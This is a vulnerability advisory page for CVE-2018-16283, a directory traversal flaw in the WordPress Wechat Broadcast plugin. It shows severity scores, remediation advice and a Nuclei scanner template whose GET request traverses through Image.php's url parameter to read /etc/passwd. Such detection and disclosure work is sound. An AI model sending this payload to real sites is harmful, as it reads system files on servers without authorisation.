WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion

2021-05-2703:15:53

ProjectDiscovery

github.com

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.5 High

AI Score

Confidence

High

0.257 Low

EPSS

Percentile

96.7%

JSON

WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.

id: CVE-2018-16283

info:
  name: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
  author: 0x240x23elu
  severity: critical
  description: WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.
  remediation: |
    Update to the latest version of the WordPress Plugin Wechat Broadcast or apply the patch provided by the vendor to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45438
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16283
    - https://github.com/springjk/wordpress-wechat-broadcast/issues/14
    - http://seclists.org/fulldisclosure/2018/Sep/32
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/150202
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16283
    cwe-id: CWE-22
    epss-score: 0.25721
    epss-percentile: 0.96702
    cpe: cpe:2.3:a:wechat_brodcast_project:wechat_brodcast:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wechat_brodcast_project
    product: wechat_brodcast
    framework: wordpress
  tags: cve,cve2018,edb,seclists,wordpress,wp-plugin,lfi,wechat_brodcast_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100f345418a161970b49efb6847c938b02cf85e55ab2728b7a999c99c1298947949022011733c212eabc394a4c104cef7a0ae31b2b2297505c4c2364ac73d2dad0c2411:922c64590222798bb761d5b6d8e72950